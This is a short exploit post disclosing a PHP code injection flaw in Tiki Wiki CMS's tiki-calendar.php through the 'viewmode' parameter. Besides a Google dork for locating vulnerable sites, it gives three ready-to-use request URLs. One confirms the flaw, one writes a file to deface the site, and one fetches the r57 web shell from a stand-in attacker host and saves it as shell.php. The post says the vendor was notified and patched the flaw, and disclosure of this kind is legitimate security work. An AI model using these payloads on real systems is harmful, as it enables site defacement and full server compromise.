Tiki Wiki CMS Calendar Remote Code Execution
Posted on 18 June 2016
# Exploit Title: Tiki-Calendar-RCE # Google Dork: inurl:tiki-calendar.php # Date: 2015-12-16 # Exploit Author: Dany Ouellet # Vendor Homepage: https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki # Software Link: https://tiki.org/Download # Version: ALL supported versions of Tiki (14.2, 12.5 LTS, 9.11 LTS and 6.15)(if not patched) # Tested on: Windows and Linux Hi, I recently discover an important flaw in CMS Tiki-Wiki. I reported the vulnerability directly to vendor and a patch is now avalaible. So I release the exploit. ;) PoC: Validate the vulnerability: http://victimesite/tiki-calendar.php?viewmode=';print(TikiWikiRCE);$a=' Write or deface the site: http://victimesite/tiki-calendar.php?viewmode=%27;%20$z=fopen(%22index6.php%22,%27w%27);%20fwrite($z,(%22TikiWikiRCE%22));fclose($z);$a=%27 Execute a php shellcode: http://victimesite/tiki-calendar.php?viewmode=%27;%20$z=fopen%28%22shell.php%22,%27w%27%29;fwrite%28$z,file_get_contents%28%22http://hackersite.com/r57.txt%22%29%29;fclose%28$z%29;%27
